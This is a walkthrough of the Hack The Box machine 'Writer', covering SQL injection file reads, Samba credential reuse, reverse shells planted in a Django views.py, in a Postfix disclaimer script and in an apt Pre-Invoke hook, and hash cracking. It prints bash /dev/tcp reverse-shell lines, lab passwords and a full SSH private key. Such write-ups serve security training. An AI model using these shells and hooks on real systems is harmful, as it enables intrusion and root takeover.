Hack The Box - Writer

info_card

User

Writer is a medium rated machine on HackTheBox create by TheCyberGeek. For the user part we will abuse a SQLI to read local files containing the root of the webserver and finally credentials to access the samba server. This gives us access to a share containing the source code of the django webserver. We are able to overwrite the views.py file of the project, resulting in RCE and a reverse shell. Once on the machine we retrieve the django_hashes file and crack them to log in over ssh as the user kyle.

Nmap

As usual we start our enumeration off with a nmap scan against all ports, followed by a script and version detection scan against the open ones to get a first overview of the attack surface.

All ports

1
2
3
4
5
6
7
8
9
10
11
12
$ sudo nmap -p- -T4 10.129.182.107
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 23:48 BST
Nmap scan report for writer.htb (10.129.182.107)
Host is up (0.068s latency).
Not shown: 65531 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 50.12 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ sudo nmap -p22,80,139,445 -sC -sV 10.129.182.107
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 23:50 BST
Nmap scan report for writer.htb (10.129.182.107)
Host is up (0.027s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 1m28s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-07-31T22:52:25
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.75 seconds

SQLI and fileread

From the 4 ports open we need to be authenticated for 3 of them, so we will start with http. Browsing to the homepage we see a blog.

home

Running a gobuster scan reveals additional paths, from which administrative looks particularly interesting.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://10.129.182.107/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.182.107/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/07/31 23:55:02 Starting gobuster in directory enumeration mode
===============================================================
/contact              (Status: 200) [Size: 4905]
/logout               (Status: 302) [Size: 208] [--> http://10.129.182.107/]
/about                (Status: 200) [Size: 3522]
/static               (Status: 301) [Size: 317] [--> http://10.129.182.107/static/]
/.                    (Status: 200) [Size: 15963]
/dashboard            (Status: 302) [Size: 208] [--> http://10.129.182.107/]
/server-status        (Status: 403) [Size: 279]
/administrative       (Status: 200) [Size: 1443]

Browsing to it we are greeted with a login form. We enter some values and send the login request to burp repeater.

admin_login

Testing for basic SQLI we are able to bypass the login to the page. The website manager we get access to barely contains any working functionality and seems like a dead end.

bypass

We are however able to get more out of the SQLI. Checking if we can read files we can successfully retrieve the /etc/passwd using mysql’s load_file in a union injection.

load_file

Since we need either credentials or code execution, the source code of the web app might be interesting. To find the base directory we retrieve the /etc/apache2/sites-available/000-default.conf file.

site_available

Knowing the root of the server and that it is a python app because of the .wsgi file, another interesting file would be the __init.py__ in the webroot. Retrieving it we get credentials to connect to samba.

smb_pass

Django RCE

Connected to the share writer2_project we have write access to the views.py. Early in the release one could directly access the django_hashes which skipped the next part. Next to this there where also some artifacts, laying out the later stages, from HTB testing the machine.

1
2
3
4
5
6
7
8
$ smbclient -L //10.129.182.107/ -U 'kyle%ToughPasswordToCrack'

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        writer2_project Disk
        IPC$            IPC       IPC Service (writer server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ smbclient //10.129.182.107/writer2_project -U 'kyle%ToughPasswordToCrack'
Try "help" to get a list of possible commands.
smb: \ > ls
  .                                   D        0  Wed Jul 28 10:00:31 2021
  ..                                  D        0  Tue Jun 22 18:55:06 2021
  static                              D        0  Sun May 16 21:29:16 2021
  django_hashes                       N      112  Wed Jul 28 10:00:31 2021
  staticfiles                         D        0  Fri Jul  9 11:59:42 2021
  writer_web                          D        0  Wed May 19 16:26:18 2021
  requirements.txt                    N       15  Sun Aug  1 00:06:01 2021
  writerv2                            D        0  Wed May 19 13:32:41 2021
  manage.py                           N      806  Sun Aug  1 00:06:01 2021

                7151096 blocks of size 1024. 2439228 blocks available
smb: \ > cd writer_web\
smb: \writer_web\ > ls
  .                                   D        0  Wed May 19 16:26:18 2021
  ..                                  D        0  Wed Jul 28 10:00:31 2021
  apps.py                             N      133  Sun Aug  1 00:06:01 2021
  views.py                            A      181  Sun Aug  1 00:06:01 2021
  __init__.py                         N        0  Sun Aug  1 00:06:01 2021
  urls.py                             N      127  Sun Aug  1 00:06:01 2021
  tests.py                            N       60  Sun Aug  1 00:06:01 2021
  __pycache__                         D        0  Wed May 19 22:06:02 2021
  admin.py                            N       63  Sun Aug  1 00:06:01 2021
  models.py                           N       98  Sun Aug  1 00:06:01 2021
  templates                           D        0  Tue May 18 14:43:07 2021

                7151096 blocks of size 1024. 2439228 blocks available
smb: \writer_web\ > get views.py
getting file \writer_web\views.py of size 181 as views.py (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)

We download it and modify the file to contain a python reverseshell.

1
2
3
4
5
6
7
8
9
from django.shortcuts import render
from django.views.generic import TemplateView
import os

os.system('bash -c "bash -i >& /dev/tcp/10.10.14.22/7575 0>&1"')

def home_page(request):
    template_name = "index.html"
    return render(request,template_name)

We set up a ncat listener on the specified port and replace the file on the samba share with our modified version.

1
2
3
4
1
2
3
4
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
1
2
putting file views.py as \writer_web\views.py (3.2 kb/s) (average 3.2 kb/s)
smb: \writer_web\ >

Django reloads the file almost instantly resulting in a reverse shell back to us. We upgrade the shell in a next step to stabilize it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.182.107.
Ncat: Connection from 10.129.182.107:49024.
bash: cannot set terminal process group (1058): Inappropriate ioctl for device
bash: no job control in this shell
www-data@writer:~/writer2_project$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ect$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@writer:~/writer2_project$ export TERM=xterm
export TERM=xterm
www-data@writer:~/writer2_project$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

www-data@writer:~/writer2_project$

Now we are able to read the django_hashes file which contains the hash for the user kyle.

1
2
3
www-data@writer:~/writer2_project$ cat django_hashes
username        password
kyle    pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=

Hashcat cracks it quite quickly and we can log in over ssh as kyle and grab the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ hashcat -m 10000 -O hash rockyou.txt
hashcat (v6.2.3) starting
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Django (PBKDF2-SHA256)
Hash.Target......: pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8...uXM4A=
Time.Started.....: Sat Jul 31 22:47:14 2021 (18 secs)
Time.Estimated...: Sat Jul 31 22:47:32 2021 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     2249 H/s (8.90ms) @ Accel:4 Loops:128 Thr:1024 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 40960/14344387 (0.29%)
Rejected.........: 0/40960 (0.00%)
Restore.Point....: 0/14344387 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:259968-259999
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> louis123
Hardware.Mon.#1..: Temp: 57c Fan: 33% Util:100% Core:1974MHz Mem:4006MHz Bus:16

Started: Sat Jul 31 22:47:03 2021
Stopped: Sat Jul 31 22:47:33 2021
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ ssh kyle@10.129.182.107
kyle@10.129.182.107's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 31 Jul 23:25:49 UTC 2021

  System load:           0.03
  Usage of /:            64.6% of 6.82GB
  Memory usage:          36%
  Swap usage:            0%
  Processes:             267
  Users logged in:       2
  IPv4 address for eth0: 10.129.182.107
  IPv6 address for eth0: dead:beef::250:56ff:feb9:8bc6


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


You have mail.
Last login: Sat Jul 31 20:53:21 2021 from 10.10.14.22
kyle@writer:~$ wc -c user.txt
33 user.txt
kyle@writer:~$

Root

Postfix disclaimer

Kyle is a member of the filter group. Looking for files, this groups write permissions on the /etc/postfix/disclaimer look interesting.

1
2
3
kyle@writer:~$ find / -group filter -ls 2>/dev/null
    16282      4 -rwxrwxr-x   1 root     filter       1021 Aug 13 16:16 /etc/postfix/disclaimer
    16281      4 drwxr-x---   2 filter   filter       4096 May 13 22:31 /var/spool/filter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
kyle@writer:~$ cat /etc/postfix/disclaimer
#!/bin/sh
# Localize these.
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?

In the /etc/postfix/master.cf we can see that this disclaimer script get’s executed by john when sending an email.

1
2
3
4
5
6
7
8
kyle@writer:~$ cat /etc/postfix/master.cf
#
# Postfix master process configuration file.  For details on the format
# of the file, see the master(5) manual page (command: "man 5 master" or
# on-line: http://www.postfix.org/master.5.html).
...[snip]...
dfilt     unix  -       n       n       -       -       pipe
  flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}

Looking at the disclaimer addresses /etc/postfix/disclaimer_addresses we see who we have to write an email as.

1
2
kyle@writer:~$ cp /etc/postfix/disclaimer .
kyle@writer:~$ vi disclaimer

First we need to modify the current disclaimer script to contain a reverse shell.

disclaimer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/sh
# Localize these.
bash -c 'bash -i >& /dev/tcp/10.10.14.22/7575 0>&1'
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?

Then we set up our listener.

1
2
3
4
1
2
3
4
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

Copy the disclaimer over the original one and send an email as kyle to root using telnet.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
kyle@writer:~$ cp disclaimer /etc/postfix/disclaimer
kyle@writer:~$  telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 writer.htb ESMTP Postfix (Ubuntu)
HELO writer.htb
250 writer.htb
MAIL FROM: kyle@writer.htb
250 2.1.0 Ok
RCPT TO: root@writer.htb
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
aaaaa

.
250 2.0.0 Ok: queued as E600B75B

We instantly get a reverse shell as john, which we upgrade again to stabilize it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.182.107.
Ncat: Connection from 10.129.182.107:49266.
bash: cannot set terminal process group (89078): Inappropriate ioctl for device
bash: no job control in this shell
john@writer:/var/spool/postfix$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<fix$ python3 -c 'import pty;pty.spawn("/bin/bash")'
john@writer:/var/spool/postfix$ export TERM=xterm
export TERM=xterm
john@writer:/var/spool/postfix$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

john@writer:/var/spool/postfix$

Looking around we find johns private ssh key, which we use to log in in the next step, to get an even more stable and als encrypted connection and also for the groups to fully get loaded.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
john@writer:/var/spool/postfix$ cat /home/john/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxqOWLbG36VBpFEz2ENaw0DfwMRLJdD3QpaIApp27SvktsWY3hOJz
wC4+LHoqnJpIdi/qLDnTx5v8vB67K04f+4FJl2fYVSwwMIrfc/+CHxcTrrw+uIRVIiUuKF
OznaG7QbqiFE1CsmnNAf7mz4Ci5VfkjwfZr18rduaUXBdNVIzPwNnL48wzF1QHgVnRTCB3
i76pHSoZEA0bMDkUcqWuI0Z+3VOZlhGp0/v2jr2JH/uA6U0g4Ym8vqgwvEeTk1gNPIM6fg
9xEYMUw+GhXQ5Q3CPPAVUaAfRDSivWtzNF1XcELH1ofF+ZY44vcQppovWgyOaw2fAHW6ea
TIcfhw3ExT2VSh7qm39NITKkAHwoPQ7VJbTY0Uj87+j6RV7xQJZqOG0ASxd4Y1PvKiGhke
tFOd6a2m8cpJwsLFGQNtGA4kisG8m//aQsZfllYPI4n4A1pXi/7NA0E4cxNH+xt//ZMRws
sfahK65k6+Yc91qFWl5R3Zw9wUZl/G10irJuYXUDAAAFiN5gLYDeYC2AAAAAB3NzaC1yc2
EAAAGBAMajli2xt+lQaRRM9hDWsNA38DESyXQ90KWiAKadu0r5LbFmN4Tic8AuPix6Kpya
SHYv6iw508eb/LweuytOH/uBSZdn2FUsMDCK33P/gh8XE668PriEVSIlLihTs52hu0G6oh
RNQrJpzQH+5s+AouVX5I8H2a9fK3bmlFwXTVSMz8DZy+PMMxdUB4FZ0Uwgd4u+qR0qGRAN
GzA5FHKlriNGft1TmZYRqdP79o69iR/7gOlNIOGJvL6oMLxHk5NYDTyDOn4PcRGDFMPhoV
0OUNwjzwFVGgH0Q0or1rczRdV3BCx9aHxfmWOOL3EKaaL1oMjmsNnwB1unmkyHH4cNxMU9
lUoe6pt/TSEypAB8KD0O1SW02NFI/O/o+kVe8UCWajhtAEsXeGNT7yohoZHrRTnemtpvHK
ScLCxRkDbRgOJIrBvJv/2kLGX5ZWDyOJ+ANaV4v+zQNBOHMTR/sbf/2TEcLLH2oSuuZOvm
HPdahVpeUd2cPcFGZfxtdIqybmF1AwAAAAMBAAEAAAGAZMExObg9SvDoe82VunDLerIE+T
9IQ9fe70S/A8RZ7et6S9NHMfYTNFXAX5sP5iMzwg8HvqsOSt9KULldwtd7zXyEsXGQ/5LM
VrL6KMJfZBm2eBkvzzQAYrNtODNMlhYk/3AFKjsOK6USwYJj3Lio55+vZQVcW2Hwj/zhH9
0J8msCLhXLH57CA4Ex1WCTkwOc35sz+IET+VpMgidRwd1b+LSXQPhYnRAUjlvtcfWdikVt
2+itVvkgbayuG7JKnqA4IQTrgoJuC/s4ZT4M8qh4SuN/ANHGohCuNsOcb5xp/E2WmZ3Gcm
bB0XE4BEhilAWLts4yexGrQ9So+eAXnfWZHRObhugy88TGy4v05B3z955EWDFnrJX0aMXn
l6N71m/g5XoYJ6hu5tazJtaHrZQsD5f71DCTLTSe1ZMwea6MnPisV8O7PC/PFIBP+5mdPf
3RXx0i7i5rLGdlTGJZUa+i/vGObbURyd5EECiS/Lpi0dnmUJKcgEKpf37xQgrFpTExAAAA
wQDY6oeUVizwq7qNRqjtE8Cx2PvMDMYmCp4ub8UgG0JVsOVWenyikyYLaOqWr4gUxIXtCt
A4BOWMkRaBBn+3YeqxRmOUo2iU4O3GQym3KnZsvqO8MoYeWtWuL+tnJNgDNQInzGZ4/SFK
23cynzsQBgb1V8u63gRX/IyYCWxZOHYpQb+yqPQUyGcdBjpkU3JQbb2Rrb5rXWzUCzjQJm
Zs9F7wWV5O3OcDBcSQRCSrES3VxY+FUuODhPrrmAtgFKdkZGYAAADBAPSpB9WrW9cg0gta
9CFhgTt/IW75KE7eXIkVV/NH9lI4At6X4dQTSUXBFhqhzZcHq4aXzGEq4ALvUPP9yP7p7S
2BdgeQ7loiRBng6WrRlXazS++5NjI3rWL5cmHJ1H8VN6Z23+ee0O8x62IoYKdWqKWSCEGu
dvMK1rPd3Mgj5x1lrM7nXTEuMbJEAoX8+AAxQ6KcEABWZ1xmZeA4MLeQTBMeoB+1HYYm+1
3NK8iNqGBR7bjv2XmVY6tDJaMJ+iJGdQAAAMEAz9h/44kuux7/DiyeWV/+MXy5vK2sJPmH
Q87F9dTHwIzXQyx7xEZN7YHdBr7PHf7PYd4zNqW3GWL3reMjAtMYdir7hd1G6PjmtcJBA7
Vikbn3mEwRCjFa5XcRP9VX8nhwVoRGuf8QmD0beSm8WUb8wKBVkmNoPZNGNJb0xvSmFEJ/
BwT0yAhKXBsBk18mx8roPS+wd9MTZ7XAUX6F2mZ9T12aIYQCajbzpd+fJ/N64NhIxRh54f
Nwy7uLkQ0cIY6XAAAAC2pvaG5Ad3JpdGVyAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
john@writer:/var/spool/postfix$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ssh -i john john@10.129.182.107
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 31 Jul 23:38:17 UTC 2021

  System load:           0.15
  Usage of /:            64.6% of 6.82GB
  Memory usage:          37%
  Swap usage:            0%
  Processes:             289
  Users logged in:       2
  IPv4 address for eth0: 10.129.182.107
  IPv6 address for eth0: dead:beef::250:56ff:feb9:8bc6


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Jul 31 21:51:56 2021 from 10.10.14.22

APT update

Checking for groups again we see that john is in the management group which can write to the /etc/apt/apt.conf.d directory.

1
2
3
4
john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
john@writer:~$ find /  -group management -ls 2>/dev/null
    17525      4 drwxrwxr-x   2 root     management     4096 Jul 31 21:56 /etc/apt/apt.conf.d

Checking for running processes there is a cronjob running with apt-get update. This means we can place a apt::Update::Pre-Invoke command inside the /etc/apt/apt.conf.d and achieve RCE this way.

1
2
3
4
5
6
7
8
john@writer:~$ ps -eaf --forest
UID          PID    PPID  C STIME TTY          TIME CMD
root           2       0  0 19:00 ?        00:00:00 [kthreadd]
root           3       2  0 19:00 ?        00:00:00  \_ [rcu_gp]
...[snip]...
root       84603     999  0 21:56 ?        00:00:00  \_ /usr/sbin/CRON -f
root       84612   84603  0 21:56 ?        00:00:00      \_ /bin/sh -c /usr/bin/apt-get update
...[snip]...

First we create a Pre-Invoke command containing a reverse shell.

000evil

1
apt::Update::Pre-Invoke {"bash -c 'bash -i >& /dev/tcp/10.10.14.22/7575 0>&1'"};

We then set up a ncat listener on the port we specified.

1
2
3
4
1
2
3
4
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

Copy the file to /etc/apt/apt.conf.d/.

1
john@writer:~$ cp 000evil /etc/apt/apt.conf.d/

And after some time we recieve a reverse shell back on our listener as the root user. Now we are able to add the flag to our collection.

1
2
3
4
5
6
7
8
9
10
11
12
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.182.107.
Ncat: Connection from 10.129.182.107:37952.
bash: cannot set terminal process group (5953): Inappropriate ioctl for device
bash: no job control in this shell
root@writer:/tmp# wc -c /root/root.txt
wc -c /root/root.txt
33 /root/root.txt
root@writer:/tmp#